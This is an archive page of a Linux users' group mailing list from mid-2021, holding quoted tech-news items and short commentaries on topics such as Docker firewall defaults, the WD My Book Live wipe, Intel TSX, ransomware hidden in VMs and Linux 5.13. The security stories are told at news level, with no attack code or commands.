by Lawrence D'Oliveiro 30 Jun '21

30 Jun '21

You know the phrase “shooting yourself in the foot” -- wielding a tool or capability with great power that, if not used carefully, has great capacity to cause harm, to the wielder and others. A “footgun” is a (mis)feature of some system that makes it more likely that this will happen. You thought security was an intrinsic feature of the container concept? Well, it seems <https://www.theregister.com/2021/06/29/newsblur_docker_ransomware/> Docker has long had an oddly insecure default setting, where network ports on a container are automatically punched through your kernel’s firewall settings, allowing access from the entire Internet. This is often not what you want.

1 0

Hackers exploited 0-day, not 2018 bug, to mass-wipe My Book Live devices
by Peter Reutemann 30 Jun '21

30 Jun '21

'Last week’s mass-wiping of Western Digital My Book Live storage devices involved the exploitation of not just one vulnerability but also a second critical security bug that allowed hackers to remotely perform a factory reset without a password, an investigation shows. The vulnerability is remarkable because it made it trivial to wipe what is likely petabytes of user data. More notable still was that, according to the vulnerable code itself, a Western Digital developer actively removed code that required a valid user password before allowing factory resets to proceed.' -- source: https://arstechnica.com/gadgets/2021/06/hackers-exploited-0-day-not-2018-bu… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Python Implementation Pyston Aims To Speed Up the Programming Language's Code for Web Applications
by Peter Reutemann 30 Jun '21

30 Jun '21

'When Kevin Modzelewski and his colleagues at Dropbox set out to create Pyston in 2014, they had a very simple objective: to lower the costs of running Python code on Dropbox's servers, by making the code itself faster. "We were growing exponentially, so our server cost was growing exponentially," Modzelewski tells TechRepublic. "If we could get Python running faster, we would spend less money running Python." The original cost reduction initiative at Dropbox snowballed into a bigger project for Modzelewski when the company moved away from Python in 2017 and cancelled the Pyston project. He had realized while working on the language that there was a strong demand for faster Python among the developer community, and while there were plenty of tools around for improving the performance in smaller applications, there were none designed for big, business logic-type applications such as Dropbox. "There's a lot of tools out there for helping you run Python faster, but there weren't any that were a good fit for Dropbox's use case," says Modzelewski. "This was an area of the Python market where a lot of money was being spent, but not very many tools were being developed for helping. It was under served." Fast forward to today and Pyston is now in version 2.2, and has been open-sourced, with Modzelewski and fellow developer Marius Wachtler now leading the project as co-founders. The latest implementation promises a 30% performance improvement over Python 3.8.8, with a key benefit being that developers can simply drop their Python applications into Pyston and get going, without having to rewrite their code. It's also a "completely separate thing" to what Modzelewski and fellow developers built for Dropbox some seven years ago.' -- source: https://developers.slashdot.org/story/21/06/29/195244 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Inside Neeva, the Ad-Free, Privacy-First Search Engine From ex-Googlers
by Peter Reutemann 30 Jun '21

30 Jun '21

'Sridhar Ramaswamy and Vivek Raghunathan helped turn Google into an ad giant. Now they're starting over with a service whose only customers are its users. From a report: A new search engine? One that people have to pay to use? At first blush, it may seem like a textbook example of a startup idea destined never to get anywhere. By definition, any new search engine competes with Google, whose 90 percent-plus market share leaves little oxygen for other players. And we've been accustomed to getting our search for free since well before there was a Google -- which might make paying for it sound like being expected to purchase a phone book. But Neeva is indeed a new search engine, officially launching today, that carries a subscription fee. Though it's extremely similar to Google in many respects -- with a few twists of its own -- it dumps the web giant's venerable ad-based business model in the interest of avoiding distractions, privacy quandaries, and other compromises. It's free for three months -- long enough for users to grow accustomed to it without obligation -- and $4.95 a month thereafter. Apps for iPhones and iPads, and browser extensions for Chrome, Firefox, Safari, Edge, and Brave, are part of the deal. Neeva may have a certain whiff of improbability about it, but its cofounders, Sridhar Ramaswamy and Vivek Raghunathan, are the furthest thing from naifs. Two long-time Google executives with more than a quarter-century of experience at the web giant between them, they have an insider's understanding of how it operates. Moreover, about 30 percent of the roughly 60-person staff they've assembled at Neeva consists of ex-Googlers, including Hall-of-Famers such as Udi Manber (a former head of Google search) and Darin Fisher (one of the inventors of Chrome). They've also secured $77.5 million in funding, including investments from venture-capital titans Greylock and Sequoia.' -- source: https://yro.slashdot.org/story/21/06/29/2017205 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Hubble Computer Trouble
by Lawrence D'Oliveiro 29 Jun '21

29 Jun '21

The Hubble Space Telescope is currently out of action, seemingly from a computer-related fault, though booting up the backup computer hasn’t made a difference (so far). In the meantime, here <https://www.theregister.com/2021/06/28/hubbles_cosmic_science_is_mindblowin…> is a retrospective on how that outermost of our sky-seeing eyes came to be, and what it has achieved. Born out of repurposed parts from an unneeded spy satellite? You might think that; those who know couldn’t possibly comment ... By the way, this description of the fault with the mirror And oh yes, that mirror. Younger readers won’t recall the shock at first light when a tiny mistake in its shape made the star of the show useless. Nobody’s saying how many spybirds were similarly afflicted, but where it mattered the most, Hubble was blind. is wrong. Hubble wasn’t blind, it was merely short-sighted. Those pictures that were supposed to have more detail than anything achievable from ground level were only fair-to-middling. I remember a visit to Waikato University in the early 1990s from a researcher in the US who was part of a team that was modelling the blurring effect of the mirror aberration, and applying it in reverse to sharpen up the images to something resembling the quality they were supposed to have. I think they were achieving some useful results. Eventually, of course, their work became unnecessary, as that wonder of eyeglass contraptions called COSTAR was installed.

1 0

Intel To Disable TSX By Default On More CPUs With New Microcode
by Peter Reutemann 29 Jun '21

29 Jun '21

'Intel is going to be disabling Transactional Synchronization Extensions (TSX) by default for various Skylake through Coffee Lake processors with forthcoming microcode updates. Phoronix reports: Transactional Synchronization Extensions (TSX) have been around since Haswell for hardware transactional memory support and going off Intel's own past numbers can be around 40% faster in specific workloads or as much 4~5 times faster in database transaction benchmarks. TSX issues have been found in the past such as a possible side channel timing attack that could lead to KASLR being defeated and CVE-2019-11135 (TSX Async Abort) for an MDS-style flaw. Now in 2021 Intel is disabling TSX by default across multiple families of Intel CPUs from Skylake through Coffee Lake. [...] The Linux kernel is preparing for this microcode change as seen in the flow of new patches this morning for the 5.14 merge window. A memory ordering issue is what is reportedly leading Intel to now deprecate TSX on various processors. There is this Intel whitepaper (PDF) updated this month that outlines the problem at length. As noted in the revision history, the memory ordering issue has been known to Intel since at least before October 2018 but only now in June 2021 are they pushing out microcode updates to disable TSX by default. With forthcoming microcode updates will effectively deprecate TSX for all Skylake Xeon CPUs prior to Stepping 5 (including Xeon D and 1st Gen Xeon Scalable), all 6th Gen Xeon E3-1500m v5 / E3-1200 v5 Skylake processors, all 7th/8th Gen Core and Pentium Kaby/Coffee/Whiskey CPUs prior to 0x8 stepping, and all 8th/9th Gen Core/Pentium Coffee Lake CPUs prior to 0xC stepping will be affected. That ultimately spans from various Skylake steppings through Coffee Lake; it was with 10th Gen Comet Lake and Ice Lake where TSX/TSX-NI was subsequently removed. In addition to disabling TSX by default and force-aborting all RTM transactions by default, a new CPUID bit is being enumerated with the new microcode to indicate that the force aborting of RTM transactions. It's due to that new CPUID bit that the Linux kernel is seeing patches. Previously Linux and other operating systems applied a workaround for the TSX memory ordering issue but now when this feature is disabled, the kernel can drop said workaround. These patches are coming with the Linux 5.14 cycle and will likely be back-ported to stable too.' -- source: https://hardware.slashdot.org/story/21/06/28/205240 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linux Foundation's New 'OVN Network' Pushes Open Standards for AI-Powered Voice Apps
by Peter Reutemann 29 Jun '21

29 Jun '21

'"Organizations are beginning to develop, design, and manage their own AI-powered voice assistant systems independent of platforms such as Siri and Alexa," reports VentureBeat: The transition is being driven by the desire to manage the entirety of the user experience and integrate voice assistance into multiple business processes and brand environments, from call centers to stores. In a recent survey of 500 IT and business decision-makers in the U.S., France, Germany, and the U.K., 28% of respondents said they were using voice technologies and 84% expect to be using them in the next year. To support the evolution, the Linux Foundation launched the Open Voice Network (OVN), an alliance advocating for the adoption of open standards across voice assistant apps in automobiles, smartphones, smart home devices, and more. With founding members Target, Schwarz Gruppe, Wegmans Food Markets, Microsoft, Veritone, Deutsche Telekom, and others, the OVN's goal — much like Amazon's Voice Interoperability Initiative — is to standardize the development and use of voice assistant systems and conversational agents that use technologies including automatic speech recognition, natural language processing, advanced dialog management, and machine learning... It was first announced as the Open Voice Initiative in 2019, but expanded significantly as the COVID-19 pandemic spurred enterprises to embrace digital transformation. "Voice is expected to be a primary interface to the digital world, connecting users to billions of sites, smart environments and AI bots ... Key to enabling enterprise adoption of these capabilities and consumer comfort and familiarity is the implementation of open standards," Mike Dolan, SVP and general manager of projects at the Linux Foundation, said in a statement. "The potential impact of voice on industries including commerce, transportation, healthcare, and entertainment is staggering and we're excited to bring it under the open governance model of the Linux foundation to grow the community and pave a way forward." Besides a focus on standards and technology-sharing, the group plans to collaborate with existing industry associations on regulatory/legislative issues — including data privacy."' -- source: https://news.slashdot.org/story/21/06/28/0051204 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Using VMs To Hide Ransomware Attacks is Becoming More Popular
by Peter Reutemann 29 Jun '21

29 Jun '21

'In early 2020, security researchers were baffled to discover that a ransomware gang had come up with an innovative trick that allowed it to run its payload inside virtual machines on infected hosts as a technical solution that bypassed security software. One year later, that technique has spread among the cybercrime underground and is now used by multiple ransomware operators. Initially seen with the Ragnar Locker gang in May 2020, the technique was also adopted by a Maze ransomware subgroup later in the year and has been recently spotted in attacks where the Conti and MountLocker ransomware strains were deployed. In hindsight, it should be no surprise that this technique is becoming more popular, as it has tangible benefits for any threat actor. The general idea behind such an attack is that a ransomware gang that has a small foothold on an infected host can download and install VM software. The ransomware gang will then start a VM instance, share the host computer's storage space with the VM, and then proceed to encrypt the victim's files from within the VM, where the host's antivirus software cannot reach and detect the ransomware during execution.' -- source: https://it.slashdot.org/story/21/06/28/1521220 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linux 5.13 Kernel Released, Includes Apple M1 Support, Clang CFI, and Landlock's Linux Security Module
by Peter Reutemann 28 Jun '21

28 Jun '21

'"Linus Torvalds has just released the Linux 5.13 kernel as stable," reports Phoronix: Linux 5.13 brings initial but still early support for the Apple M1 with basic support but not yet accelerated graphics and a lot more to iron out moving ahead. There are also new Linux 5.13 security features like the Landlock security module, Clang control flow integrity support, and optionally randomizing the kernel stack offset at each system call. There is also AMD fun this cycle around FreeSync HDMI support, initial Aldebaran bring-up, and more. Intel has more work on Alder Lake, a new cooling driver, and more discrete graphics bring-up. There are also other changes for Linux 5.13 around faster IO_uring, a generic USB display driver, and other new hardware enablement. "5.13 overall is actually fairly large," Linus Torvalds posted on the Linux Kernel Mailing List, calling it "one of the bigger 5.x releases, with over 16,000 commits (over 17k if you count merges), from over 2,000 developers. But it's a "big all over" kind of thing, not something particular that stands out as particularly unusual..."' -- source: https://linux.slashdot.org/story/21/06/28/0026252 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Anti-Ransomware Technology ... But Where Have I Heard That Before?
by Lawrence D'Oliveiro 28 Jun '21

28 Jun '21

This report <https://blocksandfiles.com/2021/06/25/dell-technologies-capital-invests-in-…> describes a company called Calamu, whose “safe harbour” technology hashes, compresses, encrypts data, and then breaks it up into three fragments with redundancy. Then it re-encrypts them and stores them in in three separate locations, using different public clouds ... or local file systems. ... Calamu says Protect doesn’t store a complete file in any one location, giving customers full control over who can view their data — even if subpoenaed. That means it cannot be surreptitiously acquired by US law enforcement or intelligence agencies. Now, where have I heard that before? Oh yes ... <https://tahoe-lafs.org/trac/tahoe-lafs>.

1 0

Microsoft Engineer Confirms You Can Sideload Android APKs On Windows 11
by Peter Reutemann 27 Jun '21

27 Jun '21

'Famed software engineer Miguel de Icaza confirmed on Twitter that you will be able to sideload Android APKs in Windows 11. Android Authority reports: Yesterday, Microsoft surprised us all by announcing that Windows 11 will support native Android app installation. Using the Microsoft Store, you'll be able to search for, install, and use Android apps right on your PC. This is possible through an integration of the Amazon App Store. However, a big question loomed over the announcement: would you be able to sideload Android APKs on Windows 11? Sideloading apps would allow you to install Android programs from outside the Microsoft Store, which would give you a much larger potential library. It seems the answer to that question is "yes," at least according to famed engineer Miguel de Icaza. Miguel is responsible for numerous software projects, including GNOME, and currently works at Microsoft. However, his Twitter bio explicitly says "Working at Microsoft, not speaking for them," so we need to take this news with some skepticism. Of course, it's not quite clear how sideloading Android APKs on Windows 11 will work. Will you be able to simply download an APK as you would an EXE, double-click it, and install it? Or will there be some sort of workaround protocol? We'll need to wait to see how this develops. ' -- source: https://tech.slashdot.org/story/21/06/25/2056239 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Dell SupportAssist Bugs Put Over 30 Million PCs At Risk
by Peter Reutemann 27 Jun '21

27 Jun '21

'Security researchers have found four major security vulnerabilities in the BIOSConnect feature of Dell SupportAssist, allowing attackers to remotely execute code within the BIOS of impacted devices. According to Dell's website, the SupportAssist software is 'preinstalled on most Dell devices running Windows operating system,' while BIOSConnect provides remote firmware update and OS recovery features. The chain of flaws discovered by Eclypsium researchers comes with a CVSS base score of 8.3/10 and enables privileged remote attackers to impersonate Dell.com and take control of the target device's boot process to break OS-level security controls. "Such an attack would enable adversaries to control the device's boot process and subvert the operating system and higher-layer security controls," Eclypsium researchers explain in a report shared in advance with BleepingComputer. "The issue affects 129 Dell models of consumer and business laptops, desktops, and tablets, including devices protected by Secure Boot and Dell Secured-core PCs," with roughly 30 million individual devices exposed to attacks.' -- source: https://it.slashdot.org/story/21/06/25/176208 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

NFC Flaws Let Researchers Hack an ATM By Waving a Phone
by Peter Reutemann 27 Jun '21

27 Jun '21

'Ars Technica reports: For years, security researchers and cybercriminals have hacked ATMs by using all possible avenues to their innards, from opening a front panel and sticking a thumb drive into a USB port to drilling a hole that exposes internal wiring. Now, one researcher has found a collection of bugs that allow him to hack ATMs -- along with a wide variety of point-of-sale terminals -- in a new way: with a wave of his phone over a contactless credit card reader. Josep Rodriguez, a researcher and consultant at security firm IOActive, has spent the last year digging up and reporting vulnerabilities in the so-called near-field communications reader chips used in millions of ATMs and point-of-sale systems worldwide. NFC systems are what let you wave a credit card over a reader -- rather than swipe or insert it -- to make a payment or extract money from a cash machine. You can find them on countless retail store and restaurant counters, vending machines, taxis, and parking meters around the globe. Now Rodriguez has built an Android app that allows his smartphone to mimic those credit card radio communications and exploit flaws in the NFC systems' firmware. With a wave of his phone, he can exploit a variety of bugs to crash point-of-sale devices, hack them to collect and transmit credit card data, invisibly change the value of transactions, and even lock the devices while displaying a ransomware message. Rodriguez says he can even force at least one brand of ATMs to dispense cash -- though that "jackpotting" hack only works in combination with additional bugs he says he has found in the ATMs' software. He declined to specify or disclose those flaws publicly due to nondisclosure agreements with the ATM vendors. "You can modify the firmware and change the price to one dollar, for instance, even when the screen shows that you're paying 50 dollars. You can make the device useless, or install a kind of ransomware. There are a lot of possibilities here," says Rodriguez of the point-of-sale attacks he discovered. "If you chain the attack and also send a special payload to an ATM's computer, you can jackpot the ATM -- like cash out, just by tapping your phone." Rodriguez says he alerted the affected vendors -- which include ID Tech, Ingenico, Verifone, Crane Payment Innovations, BBPOS, Nexgo, and the unnamed ATM vendor -- to his findings between seven months and a year ago. Even so, he warns that the sheer number of affected systems and the fact that many point-of-sale terminals and ATMs don't regularly receive software updates -- and in many cases require physical access to update -- mean that many of those devices likely remain vulnerable. "Patching so many hundreds of thousands of ATMs physically, it's something that would require a lot of time," Rodriguez says.' -- source: https://it.slashdot.org/story/21/06/25/2049217 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Microsoft Admits to Mistakenly Signing a Malicious Malware Rootkit
by Peter Reutemann 27 Jun '21

27 Jun '21

'Bleeping Computer reports: Microsoft has now confirmed signing a malicious driver being distributed within gaming environments. This driver, called "Netfilter," is in fact a rootkit that was observed communicating with Chinese command-and-control IPs. G Data malware analyst Karsten Hahn first took notice of this event last week and was joined by the wider infosec community in tracing and analyzing the malicious drivers bearing the seal of Microsoft... This incident has once again exposed threats to software supply-chain security, except this time it stemmed from a weakness in Microsoft's code-signing process. G Data writes: We forwarded our findings to Microsoft who promptly added malware signatures to Windows Defender and are now conducting an internal investigation. At the time of writing it is still unknown how the driver could pass the signing process. In a Friday blog post, Microsoft said it was contacting other antivirus software vendors "so they can proactively deploy detections," but also emphasized the attack's limited scope: The actor's activity is limited to the gaming sector specifically in China and does not appear to target enterprise environments. We are not attributing this to a nation-state actor at this time. The actor's goal is to use the driver to spoof their geo-location to cheat the system and play from anywhere. The malware enables them to gain an advantage in games and possibly exploit other players by compromising their accounts through common tools like keyloggers. It's important to understand that the techniques used in this attack occur post exploitation, meaning an attacker must either have already gained administrative privileges in order to be able to run the installer to update the registry and install the malicious driver the next time the system boots or convince the user to do it on their behalf. We will be sharing an update on how we are refining our partner access policies, validation and the signing process to further enhance our protections. There are no actions customers should take other than follow security best practices and deploy Antivirus software such as Windows Defender for Endpoint.' -- source: https://it.slashdot.org/story/21/06/26/1918225 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Google Photos is so 2020—welcome to the world of self-hosted photo management
by Peter Reutemann 26 Jun '21

26 Jun '21

'We take more photos now than ever before. Growth in this segment is explosive, with over 1.4 trillion photos taken last year, according to InfoTrends. That's up from 1 trillion in 2017. Video is much the same, with YouTube saying in recent years that about 500 hours of video are uploaded to the platform every minute. Finding a solution to organizing and safely storing these precious memories is more important than ever, and it's becoming an increasingly large problem to solve. Photos depict a special moment in time, a memory or event that can't be recreated. They are irreplaceable and largely only exist digitally. Because of this, there are few categories of data that suit a free and open self-hosted solution better.' -- source: https://arstechnica.com/gadgets/2021/06/the-big-alternatives-to-google-phot… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

A quick-start guide to OpenZFS native encryption
by Peter Reutemann 25 Jun '21

25 Jun '21

'One of the many features OpenZFS brings to the table is ZFS native encryption. First introduced in OpenZFS 0.8, native encryption allows a system administrator to transparently encrypt data at rest within ZFS itself. This obviates the need for separate tools like LUKS, VeraCrypt, or BitLocker.' -- source: https://arstechnica.com/gadgets/2021/06/a-quick-start-guide-to-openzfs-nati… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Hackers are using unknown user accounts to target Zyxel firewalls and VPNs
by Peter Reutemann 25 Jun '21

25 Jun '21

'Network device maker Zyxel is warning customers of active and ongoing attacks that are targeting a range of the company’s firewalls and other types of security appliances. In an email, the company said that targeted devices included security appliances that have remote management or SSL VPN enabled, namely in the USG/ZyWALL, USG FLEX, ATP, and VPN series running on-premise ZLD firmware. The language in the email is terse, but it appears to say that the attacks target devices that are exposed to the Internet. When the attackers succeed in accessing the device, the email further appears to say, they are then able to connect to previously unknown accounts hardwired into the devices.' -- source: https://arstechnica.com/gadgets/2021/06/zyxel-scrambles-to-thwart-active-ha… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

“I’m totally screwed.” WD My Book Live users wake up to find their data deleted
by Peter Reutemann 25 Jun '21

25 Jun '21

'Western Digital, maker of the popular My Disk external hard drives, is recommending customers unplug My Disk Live storage devices from the Internet until further notice while company engineers investigate unexplained compromises that have completely wiped data from devices around the world. The mass incidents of disk wiping came to light in this thread on Western Digital’s support forum. So far, there are no reports of deleted data later being restored.' -- source: https://arstechnica.com/gadgets/2021/06/mass-data-wipe-in-my-book-devices-p… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Ubuntu-maker Canonical Will Support Open Source Blender on Windows, Mac, and Linux
by Peter Reutemann 24 Jun '21

24 Jun '21

'Blender is one of the most important open source projects, as the 3D graphics application suite is used by countless people at home, for business, and in education. The software can be used on many platforms, such as Windows, Mac, and of course, Linux. Today, Ubuntu-maker Canonical announces it will offer paid enterprise support for Blender LTS. Surprisingly, this support will not only be for Ubuntu users. Heck, it isn't even limited to Linux installations. Actually, Canonical will offer this support to Blender LTS users on Windows, Mac, and Linux.' -- source: https://news.slashdot.org/story/21/06/23/1950222 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Open Source AMD FidelityFX Super Resolution Impresses In PC Game Tests
by Peter Reutemann 24 Jun '21

24 Jun '21

'AMD's FidelityFX Super Resolution (FSR) PC graphics up-scaling technology is ready for prime-time and the company has allowed members of the press to showcase performance and visuals of the tech in action with a number of game engines. AMD FidelityFX Super Resolution is vendor-agnostic and doesn't require specialized hardware to function like NVIDIA DLSS, which relies on Tensor cores on-board NVIDIA Turing or Ampere GPUs to accelerate neural network models that have been specifically trained on game engines. In contrast, AMD FSR utilizes more traditional spatial upscaling to create a super resolution image from a single input frame, not multiple frames. AMD FSR then employs a library of open-source algorithms that work on sharpening both image edge and texture detail. In game testing at HotHardware, frame rates can jump dramatically with little to no perceptible reduction in image quality, and the technology even works on many NVIDIA GPUs as well. There are currently 19 titles that are available or planned with support for AMD FSR, but with the open nature of the technology and cross-GPU compatibility, game developers theoretically should have significant incentive for adoption to breath new performance into their game titles.' -- source: https://tech.slashdot.org/story/21/06/22/217251 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

CentOS replacement distro Rocky Linux’s first general release is out
by Peter Reutemann 22 Jun '21

22 Jun '21

'Rocky Linux—one of at least two new distributions created to fill the void left when CentOS Linux was discontinued by parent corporation Red Hat—announced general availability of Rocky Linux 8.4 today. Rocky Linux 8.4 is binary-compatible with Red Hat Enterprise Linux 8.4, making it possible to run apps designed and tested only for RHEL without RHEL itself.' -- source: https://arstechnica.com/gadgets/2021/06/centos-replacement-distro-rocky-lin… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Firefox Begins Testing Sponsors on Some Users' Default Home Page/New Tab Pages
by Peter Reutemann 21 Jun '21

21 Jun '21

'Earlier this year a new support page appeared at support.Mozilla.org describing sponsored shortcuts (or sponsored tiles), "an experimental feature currently being tested by a small percentage of Firefox users in a limited number of markets." Mozilla works with advertising partners to place sponsored tiles on the Firefox default home page (or New Tab page) that would be useful to Firefox users. Mozilla is paid when users click on sponsored tiles.... [W]e only work with advertising partners that meet our privacy standards for Firefox. When you click on a sponsored tile, Firefox sends anonymized technical data to our partner through a Mozilla-owned proxy service. The code for this proxy service is available on GitHub for interested technical audiences. This data does not include any personally identifying information and is only shared when you click on a Sponsored shortcut.... You can disable a specific Sponsored tile... You can also disable Sponsored shortcuts altogether. Describing the as-yet-experimental feature, Engadget wrote a story headlined "Don't freak out: Firefox is testing advertisements in new tabs." These are just the tests, still mainly aimed at fresh installs of the Firefox web browser and always to beta users, before the rollout of sponsored tiles. It does sound like adverts are in the pipe, but it depends on the reaction to Mozilla's initial tests. Mozilla's Jonathan Nightingale says that, last time around, the reaction wasn't as positive as his company hoped. "It didn't go over well," he states. Further, he insists that Firefox won't become "a mess of logos sold to the highest bidder; without user control, without user benefit." Long-time Slashdot reader angryargus says they spotted the feature when they noticed an Ebay advertisement, but appreciated the ability to opt out, and suggested the feature is "an annoying tradeoff off using a browser that's not as directly funded by a search engine."' -- source: https://news.slashdot.org/story/21/06/20/0153218 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

meeting next Monday
by Peter Reutemann 21 Jun '21

21 Jun '21

Hi everyone 'New to the version control system git or wanting to share some handy tricks? Lawrence D'Oliveiro will give an introduction to the git command-line and how to manage files with it. After the intro, we will look into how to use github (e.g., forks, pull requests) and github alternatives.' Details: https://www.meetup.com/WaikatoLinuxUsersGroup/events/274861060/ Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Open Standard But Not Open Access: Schematron Author Complains About ISO Paywall
by Lawrence D'Oliveiro 19 Jun '21

19 Jun '21

Not the first time this has happened <https://www.theregister.com/2021/06/18/schematron_standard_paywall/>: a group volunteers to create an open standard, giving freely of their time, get it widely adopted, hand it over to a standards body like ISO to make it “official”, and the latter starts charging for copies of the spec. Note this response from ISO: "Unfortunately, the ISO Central Secretariat does not provide free copies of standards. All ISO Publications derive from the work and contributions of ISO and ISO Members that contain intellectual property of demonstrable economic value.” And how much did ISO pay those contributors for that “intellectual property”? Not a penny.

1 0

Microsoft’s Linux repositories were down for 18+ hours
by Peter Reutemann 19 Jun '21

19 Jun '21

'Yesterday, packages.microsoft.com—the repository from which Microsoft serves software installers for Linux distributions including CentOS, Debian, Fedora, OpenSUSE, and more—went down hard, and it stayed down for around 18 hours. The outage impacted users trying to install .NET Core, Microsoft Teams, Microsoft SQL Server for Linux (yes, that's a thing) and more—as well as Azure's own devops pipelines. We first became aware of the problem Wednesday evening when we saw 404 errors in the output of apt update on an Ubuntu workstation with Microsoft Teams installed. The outage is somewhat better-documented at this .NET Core issue report on Github, with many users from all around the world sharing their experiences and theories. The short version is that the entire repository cluster that serves all Linux packages for Microsoft was completely down—issuing a range of HTTP 404 (content not found) and 500 (Internal Server Error) messages for any URL—for roughly 18 hours. Microsoft engineer Rahul Bhandari confirmed the outage roughly five hours after it was initially reported, with a cryptic comment about the infrastructure team "running into some space issues." Eighteen hours after the issue was detailed, Bhandari said that the mirrors were once again available—although with temporarily degraded performance, likely due to cold caches. In this update, Bhandari said that the original cause of the outage was "a regression in [apt repositories] during some feature migration work that resulted in those packages becoming unavailable on the mirrors." We're still waiting for a comprehensive incident report, since Bhandari's status updates provide clues but no real explanations. The good news: We can confirm that packages.microsoft.com is indeed up once again, and it is serving packages as it should.' -- source: https://arstechnica.com/gadgets/2021/06/microsofts-linux-repositories-were-… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Code Trainspotting
by Lawrence D'Oliveiro 18 Jun '21

18 Jun '21

The item on One News this evening about difficulties bringing in families of skilled workers showed some brief screenshots of some source code. I noticed the identifier “nsown_capable”, and doing a search for this reveals it’s from the Linux kernel <https://elixir.bootlin.com/linux/v3.7/ident/nsown_capable>. Apologies to those bored to tears by this ...

1 0

Smart Contract: Computer Says No
by Lawrence D'Oliveiro 18 Jun '21

18 Jun '21

Another day, another tale of cryptocurrency failure <https://www.theregister.com/2021/06/17/iron_cryptocoin_titan/>. What’s different about this one is that it involved a “stablecoin”, which is some kind of attempt to reduce the volatility of a cryptocurrency by tying it in part to an actual currency. Note this linkage was only partial, and also involved a “smart contract”. This is a piece of autonomous code that, once let loose, makes its own decisions on what actions are and aren’t allowed. There is a suspicion that the smart contract involved had this line in it: require(_share_price > 0, "Invalid share price"); when it should have been require(_share_price >= 0, "Invalid share price"); and, depending on rounding errors, this could have caused all attempts at redemption to fail if the price fell too low to be distinguished from zero. And unlike regular legal contracts between carbon-based life forms, no court can overrule the operation of a smart contract†. Once it is put into effect, there is no reining it in. If the code is bug-free, you are fine (Do I hear sardonic laughter?). How many dozens of sci-fi stories and movies (both good and bad) have gone over this basic scenario? Do people learn nothing from pulp fiction!? But then again, the company did say "We already queued the fix for this, so people can redeem again at 5pm UTC." so maybe this wasn’t the issue at all. †Probably. None has yet tried.

1 0

Newly discovered Vigilante malware outs software pirates and blocks them
by Peter Reutemann 18 Jun '21

18 Jun '21

'A researcher has uncovered one of the more unusual finds in the annals of malware: booby-trapped files that rat out downloaders and try to prevent unauthorized downloading in the future. The files are available on sites frequented by software pirates. Vigilante, as SophosLabs Principal Researcher Andrew Brandt is calling the malware, gets installed when victims download and execute what they think is pirated software or games. Behind the scenes, the malware reports the file name that was executed to an attacker-controlled server, along with the IP address of the victims’ computers. As a finishing touch, Vigilante tries to modify the victims’ computers so they can no longer access thepiratebay.com and as many as 1,000 other pirate sites.' -- source: https://arstechnica.com/gadgets/2021/06/newly-discovered-vigilante-malware-… Didn't see that one coming... Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

